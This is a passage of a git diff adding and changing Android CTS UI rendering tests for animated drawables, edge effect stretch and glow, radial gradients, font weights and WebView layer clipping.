+import android.graphics.drawable.Drawable
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.testinfrastructure.ActivityTestBase
+import android.uirendering.cts.testinfrastructure.CanvasClient
+import android.view.View
+import junitparams.JUnitParamsRunner
+import kotlin.math.roundToInt
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(JUnitParamsRunner::class)
+class AnimatedImageDrawableTest : ActivityTestBase() {
+    private fun getAssets(): AssetManager {
+        return InstrumentationRegistry.getTargetContext().getAssets()
+    }
+
+    private val TEST_FILE = "stoplight.webp"
+
+    private fun makeVerifier(testName: String, mssim: Double): BitmapVerifier {
+        val source = ImageDecoder.createSource(getAssets(),
+                "AnimatedImageDrawableTest/${testName}_golden.png")
+        val bitmap = ImageDecoder.decodeBitmap(source) {
+            decoder, info, source ->
+                // Use software so the verifier can read the pixels.
+                decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+        }
+        val verifier = GoldenImageVerifier(bitmap, MSSIMComparer(mssim))
+
+        // The Verifier stored the pixels in an array, so the Bitmap is no longer need.
+        bitmap.recycle()
+        return verifier
+    }
+
+    /**
+     * Test AnimatedImageDrawable#setBounds.
+     *
+     * @param testName Name of the test; used to find the golden image.
+     * @param mssim Structural Similarity Index for how similar the animated version should look to
+     *              the golden image. It should be close to 1.0; differences come from the drawing
+     *              backend (software vs hardware vs Picture).
+     * @param resizer Function that calls setBounds (and potentially other modifications) on the
+     *             provided drawable based on the provided width and height of the Canvas.
+     * @param listener OnHeaderDecodedListener to pass to decodeDrawable.
+     */
+    private fun internalTestBoundsAndListener(
+        testName: String,
+        mssim: Double,
+        resizer: (Drawable, Int, Int) -> Unit,
+        listener: ImageDecoder.OnHeaderDecodedListener? = null
+    ) {
+        val source = ImageDecoder.createSource(getAssets(), TEST_FILE)
+        class Client(val drawable: Drawable) : CanvasClient {
+            override fun draw(canvas: Canvas, width: Int, height: Int) {
+                canvas.drawColor(Color.WHITE)
+                resizer(drawable, width, height)
+                drawable.draw(canvas)
+            }
+        }
+        val animatedDrawable = if (listener == null) ImageDecoder.decodeDrawable(source)
+                else ImageDecoder.decodeDrawable(source, listener)
+        createTest().addCanvasClient(Client(animatedDrawable)).runWithVerifier(
+                makeVerifier(testName, mssim))
+    }
+
+    private fun internalTestBounds(
+        testName: String,
+        mssim: Double,
+        resizer: (Drawable, Int, Int) -> Unit
+    ) = internalTestBoundsAndListener(testName, mssim, resizer)
+
+    @Test
+    fun testSetBounds() = internalTestBounds("testSetBounds", .998) {
+        drawable, width, height ->
+            drawable.setBounds(1, 1, width - 1, height - 1)
+    }
+
+    @Test
+    fun testSetBounds2() = internalTestBounds("testSetBounds2", .999) {
+        drawable, width, height ->
+            drawable.setBounds(width / 2, height / 2, width, height)
+    }
+
+    @Test
+    fun testSetBoundsMirrored() = internalTestBounds("testSetBoundsMirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = true
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsRTLUnmirrored() = internalTestBounds("testSetBoundsRTLUnmirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = false
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsLTRMirrored() = internalTestBounds("testSetBoundsLTRMirrored", .999) {
+        drawable, width, height ->
+            drawable.isAutoMirrored = false
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_LTR
+            drawable.setBounds(0, 0, width / 2, height / 2)
+    }
+
+    @Test
+    fun testSetBoundsAlpha() = internalTestBounds("testSetBoundsAlpha", .996) {
+        drawable, width, height ->
+            drawable.alpha = 128
+            drawable.setBounds(5, 5, width - 5, height - 5)
+    }
+
+    @Test
+    fun testSetBoundsAlphaMirrored() = internalTestBounds("testSetBoundsAlphaMirrored", .999) {
+        drawable, width, height ->
+            drawable.alpha = 128
+            drawable.isAutoMirrored = true
+            drawable.layoutDirection = View.LAYOUT_DIRECTION_RTL
+            drawable.setBounds(width / 3, 0, (width * 2 / 3.0).roundToInt(), height / 2)
+    }
+
+    @Test
+    fun testSetBoundsColorFilter() = internalTestBounds("testSetBoundsColorFilter", .999) {
+        drawable, width, height ->
+            drawable.colorFilter = LightingColorFilter(Color.RED, Color.BLUE)
+            drawable.setBounds(7, 7, width - 7, height - 7)
+    }
+
+    @Test
+    fun testSetBoundsCrop() = internalTestBoundsAndListener("testSetBoundsCrop", .996, {
+        drawable, width, height ->
+            drawable.setBounds(2, 2, width - 2, height - 2)
+    }, {
+        decoder, info, source ->
+            decoder.setCrop(Rect(100, 0, 145, 55))
+    })
+
+    @Test
+    fun testSetBoundsPostProcess() = internalTestBoundsAndListener("testSetBoundsPostProcess", .996,
+    {
+        drawable, width, height ->
+            drawable.setBounds(3, 3, width - 3, height - 3)
+    }, {
+        decoder, info, source ->
+            decoder.setPostProcessor {
+                canvas ->
+                    val path = Path()
+                    path.fillType = Path.FillType.INVERSE_EVEN_ODD
+                    val width = canvas.getWidth().toFloat()
+                    val height = canvas.getHeight().toFloat()
+                    path.addRoundRect(0.0f, 0.0f, width, height, 20.0f, 20.0f, Path.Direction.CW)
+                    val paint = Paint()
+                    paint.setAntiAlias(true)
+                    paint.color = Color.TRANSPARENT
+                    paint.xfermode = PorterDuffXfermode(PorterDuff.Mode.SRC)
+                    canvas.drawPath(path, paint)
+                    PixelFormat.TRANSLUCENT
+            }
+    })
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index 7d7ebc7..d6a938f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -31,14 +31,24 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
+import android.graphics.Rect;
+import android.graphics.RenderNode;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.Tracer;
 import android.uirendering.cts.util.BitmapAsserter;
 import android.uirendering.cts.util.MockVsyncHelper;
+import android.util.AttributeSet;
 import android.view.ContextThemeWrapper;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.animation.AnimationUtils;
 import android.widget.EdgeEffect;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -50,7 +60,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class EdgeEffectTests {
+public class EdgeEffectTests extends ActivityTestBase {
 
     private static final int WIDTH = 90;
     private static final int HEIGHT = 90;
@@ -197,6 +207,283 @@
         assertEquals(0, edgeEffect.getMaxHeight());
     }
 
+    @Test
+    public void testEdgeEffectTypeAccessors() {
+        EdgeEffect effect = new EdgeEffect(getContext());
+
+        // It defaults to glow without any attribute set
+        assertEquals(EdgeEffect.TYPE_GLOW, effect.getType());
+        effect.setType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, effect.getType());
+    }
+
+    @Test
+    public void testEdgeEffectTypeAttribute() {
+        final Context targetContext = InstrumentationRegistry.getTargetContext();
+        final Context themeContext =
+                new ContextThemeWrapper(targetContext, R.style.StretchEdgeEffect);
+        EdgeEffect withWarpEffect = new EdgeEffect(themeContext);
+        assertEquals(EdgeEffect.TYPE_STRETCH, withWarpEffect.getType());
+    }
+
+    @Test
+    public void testCustomViewEdgeEffectAttribute() {
+        Context targetContext = InstrumentationRegistry.getTargetContext();
+        LayoutInflater layoutInflater = LayoutInflater.from(targetContext);
+        View view = layoutInflater.inflate(R.layout.stretch_edge_effect_view, null);
+        assertTrue(view instanceof CustomEdgeEffectView);
+        CustomEdgeEffectView customEdgeEffectView = (CustomEdgeEffectView) view;
+        assertEquals(EdgeEffect.TYPE_STRETCH, customEdgeEffectView.edgeEffect.getType());
+    }
+
+    @Test
+    public void testDistance() {
+        EdgeEffect effect = new EdgeEffect(getContext());
+
+        assertEquals(0f, effect.getDistance(), 0.001f);
+
+        assertEquals(0.1f, effect.onPullDistance(0.1f, 0.5f), 0.001f);
+
+        assertEquals(0.1f, effect.getDistance(), 0.001f);
+
+        assertEquals(-0.05f, effect.onPullDistance(-0.05f, 0.5f), 0.001f);
+
+        assertEquals(0.05f, effect.getDistance(), 0.001f);
+
+        assertEquals(-0.05f, effect.onPullDistance(-0.2f, 0.5f), 0.001f);
+
+        assertEquals(0f, effect.getDistance(), 0.001f);
+    }
+
+    // This is only needed temporarily while using the offset RenderEffect substitution.
+    private int calculateEffectHeight(float width, float height) {
+        final float radiusFactor = 0.6f;
+        final float sin = (float) Math.sin(Math.PI / 6);
+        final float cos = (float) Math.cos(Math.PI / 6);
+        final float r = width * radiusFactor / sin;
+        final float y = cos * r;
+        final float h = r - y;
+
+        return (int) Math.min(height, h);
+    }
+
+    private RenderNode drawEdgeEffect(float rotationDegrees, int distance) {
+        int effectWidth = WIDTH - 20;
+        int boxHeight = HEIGHT - 20;
+        int effectHeight = boxHeight / 2;
+        float realEffectHeight = calculateEffectHeight(effectWidth, effectHeight);
+        float distanceFraction = distance / realEffectHeight;
+
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setType(EdgeEffect.TYPE_STRETCH);
+        edgeEffect.setSize(effectWidth, effectHeight);
+        edgeEffect.onPullDistance(distanceFraction, 0.5f);
+
+        Paint bluePaint = new Paint();
+        bluePaint.setColor(Color.BLUE);
+        bluePaint.setStyle(Paint.Style.FILL);
+
+        RenderNode innerNode = new RenderNode("effect");
+        innerNode.setPosition(0, 0, effectWidth, boxHeight);
+        innerNode.setClipToBounds(false);
+        Canvas effectCanvas = innerNode.beginRecording(effectWidth, boxHeight);
+        effectCanvas.drawRect(0f, 0f, effectWidth, boxHeight, bluePaint);
+        effectCanvas.rotate(rotationDegrees, effectWidth / 2f, boxHeight / 2f);
+
+        edgeEffect.draw(effectCanvas);
+        innerNode.endRecording();
+
+        Paint whitePaint = new Paint();
+        whitePaint.setStyle(Paint.Style.FILL);
+        whitePaint.setColor(Color.WHITE);
+
+        RenderNode outerNode = new RenderNode("outer");
+        outerNode.setPosition(0, 0, WIDTH, HEIGHT);
+        Canvas outerCanvas = outerNode.beginRecording(WIDTH, HEIGHT);
+        outerCanvas.drawRect(0, 0, WIDTH, HEIGHT, whitePaint);
+        outerCanvas.translate(10f, 10f);
+        outerCanvas.drawRenderNode(innerNode);
+        outerCanvas.translate(-10f, -10f);
+        outerNode.endRecording();
+        return outerNode;
+    }
+
+    @Test
+    public void testStretchTop() {
+        RenderNode renderNode = drawEdgeEffect(0, 5);
+
+        Rect innerRect = new Rect(10, 15, WIDTH - 10, HEIGHT - 5);
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new RectVerifier(Color.WHITE, Color.BLUE, innerRect));
+    }
+
+    @Test
+    public void testStretchRotated() {
+        RenderNode renderNode = drawEdgeEffect(180, 5);
+
+        Rect innerRect = new Rect(10, 5, WIDTH - 10, HEIGHT - 15);
+
+        createTest()
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
+                    canvas.drawRenderNode(renderNode);
+                }, true)
+                .runWithVerifier(new RectVerifier(Color.WHITE, Color.BLUE, innerRect));
+    }
+
+    /**
+     * When a TYPE_STRETCH is used, a held pull should not retract.
+     */
+    @Test
+    @LargeTest
+    public void testStretchPullAndHold() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_STRETCH);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // We must wait until the EdgeEffect would normally start receding (167 ms)
+        sleepAnimationTime(200);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // A glow effect would start receding now, so let's be sure it doesn't:
+        sleepAnimationTime(200);
+        edgeEffect.draw(canvas);
+
+        // It should not be updating now
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // Now let's release it and it should start animating
+        edgeEffect.onRelease();
+
+        sleepAnimationTime(20);
+
+        // Now that it should be animating, the draw should update the distance
+        edgeEffect.draw(canvas);
+
+        assertTrue(edgeEffect.getDistance() < 0.25f);
+    }
+
+    /**
+     * When a TYPE_GLOW is used, a held pull should retract after the timeout.
+     */
+    @Test
+    @LargeTest
+    public void testGlowPullAndHold() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_GLOW);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+
+        // We must wait until the EdgeEffect would normally start receding (167 ms)
+        sleepAnimationTime(200);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should start retracting now:
+        sleepAnimationTime(20);
+        edgeEffect.draw(canvas);
+        assertTrue(edgeEffect.getDistance() < 0.25f);
+    }
+
+    /**
+     * It should be possible to catch the stretch effect during an animation.
+     */
+    @Test
+    @LargeTest
+    public void testCatchStretchDuringAnimation() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_STRETCH);
+        assertEquals(0.25f, edgeEffect.getDistance(), 0.001f);
+        edgeEffect.onRelease();
+
+        // Wait some time to be sure it is animating away.
+        long startTime = AnimationUtils.currentAnimationTimeMillis();
+        sleepAnimationTime(20);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should have started retracting. Now catch it.
+        float consumed = edgeEffect.onPullDistance(0f, 0.5f);
+        assertEquals(0f, consumed, 0f);
+
+        float distanceAfterAnimation = edgeEffect.getDistance();
+        assertTrue(distanceAfterAnimation < 0.25f);
+
+
+        sleepAnimationTime(50);
+
+        // There should be no change once it has been caught.
+        edgeEffect.draw(canvas);
+        assertEquals(distanceAfterAnimation, edgeEffect.getDistance(), 0f);
+    }
+
+    /**
+     * It should be possible to catch the glow effect during an animation.
+     */
+    @Test
+    @LargeTest
+    public void testCatchGlowDuringAnimation() throws Exception {
+        EdgeEffect edgeEffect = createEdgeEffectWithPull(EdgeEffect.TYPE_GLOW);
+        edgeEffect.onRelease();
+
+        // Wait some time to be sure it is animating away.
+        long startTime = AnimationUtils.currentAnimationTimeMillis();
+        sleepAnimationTime(20);
+
+        // Drawing will cause updates of the distance if it is animating
+        RenderNode renderNode = new RenderNode(null);
+        Canvas canvas = renderNode.beginRecording();
+        edgeEffect.draw(canvas);
+
+        // It should have started retracting. Now catch it.
+        float consumed = edgeEffect.onPullDistance(0f, 0.5f);
+        assertEquals(0f, consumed, 0f);
+
+        float distanceAfterAnimation = edgeEffect.getDistance();
+        assertTrue(distanceAfterAnimation < 0.25f);
+
+
+        sleepAnimationTime(50);
+
+        // There should be no change once it has been caught.
+        edgeEffect.draw(canvas);
+        assertEquals(distanceAfterAnimation, edgeEffect.getDistance(), 0f);
+    }
+
+    private EdgeEffect createEdgeEffectWithPull(int edgeEffectType) {
+        EdgeEffect edgeEffect = new EdgeEffect(getContext());
+        edgeEffect.setType(edgeEffectType);
+        edgeEffect.setSize(100, 100);
+        edgeEffect.onPullDistance(0.25f, 0.5f);
+        return edgeEffect;
+    }
+
+    /**
+     * This sleeps until the {@link AnimationUtils#currentAnimationTimeMillis()} changes
+     * by at least <code>durationMillis</code> milliseconds. This is useful for EdgeEffect because
+     * it uses that mechanism to determine the animation duration.
+     *
+     * @param durationMillis The time to sleep in milliseconds.
+     */
+    private void sleepAnimationTime(long durationMillis) throws Exception {
+        final long startTime = AnimationUtils.currentAnimationTimeMillis();
+        long currentTime = startTime;
+        final long endTime = startTime + durationMillis;
+        do {
+            Thread.sleep(endTime - currentTime);
+            currentTime = AnimationUtils.currentAnimationTimeMillis();
+        } while (currentTime < endTime);
+    }
+
     private interface AlphaVerifier {
         void verify(int oldAlpha, int newAlpha);
     }
@@ -244,4 +531,28 @@
         }));
     }
 
+    public static class CustomEdgeEffectView extends View {
+        public EdgeEffect edgeEffect;
+
+        public CustomEdgeEffectView(Context context) {
+            this(context, null);
+        }
+        public CustomEdgeEffectView(Context context, AttributeSet attrs) {
+            this(context, attrs, 0);
+        }
+
+        public CustomEdgeEffectView(Context context, AttributeSet attrs, int defStyleAttr) {
+            this(context, attrs, defStyleAttr, 0);
+        }
+
+        public CustomEdgeEffectView(
+                Context context,
+                AttributeSet attrs,
+                int defStyleAttr,
+                int defStyleRes
+        ) {
+            super(context, attrs, defStyleAttr, defStyleRes);
+            edgeEffect = new EdgeEffect(context, attrs);
+        }
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
index 3b48542..16b9315 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
@@ -105,10 +105,9 @@
 
     @Test
     public void testMediumBoldFont() {
-        // bold attribute on medium base font = black
         fontTestBody("sans-serif-medium",
                 Typeface.BOLD,
-                R.drawable.black1);
+                R.drawable.extrabold1);
     }
 
     @Test
@@ -122,7 +121,7 @@
     public void testMediumBoldItalicFont() {
         fontTestBody("sans-serif-medium",
                 Typeface.BOLD | Typeface.ITALIC,
-                R.drawable.blackitalic1);
+                R.drawable.extrabolditalic1);
     }
 
     @Test
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
index cc01598..3a1e6ec 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
@@ -16,11 +16,19 @@
 
 package android.uirendering.cts.testclasses;
 
+import static org.testng.Assert.assertThrows;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.LinearGradient;
+import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Point;
+import android.graphics.RadialGradient;
 import android.graphics.Shader;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
@@ -33,6 +41,7 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class GradientTests extends ActivityTestBase {
+
     @Test
     public void testAlphaPreMultiplication() {
         createTest()
@@ -61,4 +70,246 @@
                         0xffff0000
                 }, 20)); // Tolerance set to account for dithering and interpolation
     }
+
+    @Test
+    public void testRadialGradientWithFocalPoint() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    float centerX = width / 2f;
+                    float centerY = height / 2f;
+                    float radius = Math.min(width, height) / 2f;
+                    RadialGradient gradient = new RadialGradient(
+                            centerX - 10f,
+                            centerY - 10f,
+                            20f,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                    new SamplePointVerifier(
+                            new Point[]{
+                                    new Point(0, 0),
+                                    new Point(TEST_WIDTH - 1, 0),
+                                    new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                    new Point(0, TEST_HEIGHT - 1),
+                                    new Point(TEST_WIDTH / 2 - 10, TEST_HEIGHT / 2 - 10)
+                            },
+                            new int[] {
+                                    Color.CYAN, Color.CYAN, Color.CYAN, Color.CYAN, Color.RED
+                            }
+                    )
+            );
+    }
+
+    @Test
+    public void testRadialGradientSameStartEndCircles() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    float centerX = width / 2f;
+                    float centerY = height / 2f;
+                    float radius = Math.min(width, height) / 2f;
+
+                    RadialGradient gradient = new RadialGradient(
+                            centerX,
+                            centerY,
+                            radius,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new SamplePointVerifier(
+                                new Point[]{
+                                        new Point(0, 0),
+                                        new Point(TEST_WIDTH - 1, 0),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                        new Point(0, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT / 2),
+                                        new Point(TEST_WIDTH / 2, 1),
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT / 2),
+                                        new Point(0, TEST_HEIGHT / 2)
+                                },
+                                new int[] {
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.CYAN,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED
+                                }
+                        )
+            );
+    }
+
+    @Test
+    public void testNegativeFocalRadiusThrows() {
+        assertThrows(IllegalArgumentException.class, () ->
+                new RadialGradient(
+                        0f,
+                        0f,
+                        -1f,
+                        10f,
+                        10f,
+                        10f,
+                        new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                        null,
+                        Shader.TileMode.CLAMP
+        ));
+    }
+
+    @Test
+    public void testMismatchColorsAndStopsThrows() {
+        assertThrows(IllegalArgumentException.class, () -> new RadialGradient(
+                0f,
+                0f,
+                10f,
+                10f,
+                10f,
+                10f,
+                new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                new float[] { 0.5f},
+                Shader.TileMode.CLAMP
+        ));
+    }
+
+    private Bitmap createRadialGradientGoldenBitmap() {
+        Bitmap srcBitmap = Bitmap.createBitmap(TEST_WIDTH, TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas srcCanvas = new Canvas(srcBitmap);
+        Paint srcPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
+        srcPaint.setShader(new RadialGradient(
+                TEST_WIDTH / 2f,
+                TEST_HEIGHT / 2f,
+                TEST_WIDTH / 2f,
+                new int[] { Color.RED, Color.CYAN },
+                null,
+                Shader.TileMode.CLAMP
+        ));
+        srcCanvas.drawRect(0f, 0f, TEST_WIDTH, TEST_HEIGHT, srcPaint);
+        return srcBitmap;
+    }
+
+    @Test
+    public void testRadialGradientWithFocalPointMatchesRegularRadialGradient() {
+        Bitmap golden = createRadialGradientGoldenBitmap();
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+
+                    RadialGradient gradient = new RadialGradient(
+                            TEST_WIDTH / 2f,
+                            TEST_HEIGHT / 2f,
+                            0f,
+                            TEST_WIDTH / 2f,
+                            TEST_HEIGHT / 2f,
+                            TEST_WIDTH / 2f,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new GoldenImageVerifier(golden, new MSSIMComparer(0.99f)));
+    }
+
+    @Test
+    public void testZeroEndRadiusThrows() {
+        assertThrows(IllegalArgumentException.class, () ->
+                new RadialGradient(
+                        10f,
+                        10f,
+                        0, // invalid
+                        new long[] { Color.pack(Color.RED), Color.pack(Color.BLUE)},
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+    }
+
+    @Test
+    public void testNullColorsThrows() {
+        assertThrows(NullPointerException.class, () ->
+                new RadialGradient(
+                        10f,
+                        10f,
+                        10f,
+                        (long[]) null, // invalid
+                        null,
+                        Shader.TileMode.CLAMP
+                )
+        );
+    }
+
+    @Test
+    public void testMatrixTransformation() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+
+                    float radius = TEST_WIDTH / 2f;
+                    float centerX = TEST_WIDTH / 2f;
+                    float centerY = TEST_HEIGHT / 2f;
+                    // Pass in the same parameters for the start and end circles
+                    // to get a similar result of drawing a circle which simplifies
+                    // comparison use cases for testing
+                    RadialGradient gradient = new RadialGradient(
+                            centerX,
+                            centerY,
+                            radius,
+                            centerX,
+                            centerY,
+                            radius,
+                            new long[] { Color.pack(Color.RED), Color.pack(Color.CYAN) },
+                            null,
+                            Shader.TileMode.CLAMP
+                    );
+                    Matrix matrix = new Matrix();
+                    matrix.postTranslate(radius, radius);
+                    gradient.setLocalMatrix(matrix);
+                    paint.setShader(gradient);
+
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(
+                        new SamplePointVerifier(
+                                new Point[]{
+                                        new Point(TEST_WIDTH / 2, TEST_HEIGHT / 2),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH - 1, TEST_HEIGHT / 2 + 1),
+                                        new Point(TEST_WIDTH / 2 + 1, TEST_HEIGHT - 1),
+                                        new Point(TEST_WIDTH / 2 - 1, TEST_HEIGHT - 1)
+                                },
+                                new int[] {
+                                        Color.CYAN,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.RED,
+                                        Color.CYAN
+                                }
+                        )
+            );
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
index 0f82370..d4c2549 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareRendererTests.kt
@@ -483,4 +483,10 @@
             reader.close()
         }
     }
+
+    @Test
+    fun testSetNullSurface() {
+        HardwareRenderer().setSurface(null)
+        // yay we didn't crash, test over
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index f42b004..5cdfb75 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -623,16 +623,46 @@
 
     @LargeTest
     @Test
-    public void testWebViewWithLayerAndComplexClip() {
+    public void testWebViewOnHWLayerAndComplexAntiAliasedClip() {
         if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
             return; // no WebView to run test on
         }
+
         CountDownLatch hwFence = new CountDownLatch(1);
         createTest()
                 // golden client - draw a simple non-AA circle
                 .addCanvasClient((canvas, width, height) -> {
                     Paint paint = new Paint();
-                    paint.setAntiAlias(false);
+                    paint.setAntiAlias(true);
+                    paint.setColor(Color.BLUE);
+                    canvas.drawOval(0, 0, width, height, paint);
+                }, false)
+                // verify against solid color webview, clipped to its parent oval
+                .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+                    FrameLayout layout = view.requireViewById(R.id.circle_clip_frame_layout);
+                    WebView webview = view.requireViewById(R.id.webview);
+                    // Promote the webview onto its own layer
+                    webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                    WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+                    helper.loadData("<body style=\"background-color:blue\">");
+
+                }, true, hwFence)
+                .runWithComparer(new MSSIMComparer(0.98));
+    }
+
+    @LargeTest
+    @Test
+    public void testWebViewWithParentLayerAndComplexClip() {
+        if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            return; // no WebView to run test on
+        }
+
+        CountDownLatch hwFence = new CountDownLatch(1);
+        createTest()
+                // golden client - draw a simple AA circle
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setAntiAlias(true);
                     paint.setColor(Color.BLUE);
                     canvas.drawOval(0, 0, width, height, paint);
                 }, false)
@@ -646,6 +676,33 @@
                     helper.loadData("<body style=\"background-color:blue\">");
 
                 }, true, hwFence)
-                .runWithComparer(new MSSIMComparer(0.95));
+                // WebView is not on its own layer, so the parent clip may not be AA
+                .runWithComparer(new MSSIMComparer(0.93));
+    }
+
+    @LargeTest
+    @Test
+    public void testWebViewWithRRectClip() {
+        if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            return; // no WebView to run test on
+        }
+
+        CountDownLatch hwFence = new CountDownLatch(1);
+        createTest()
+                // golden client - draw an AA rounded rect
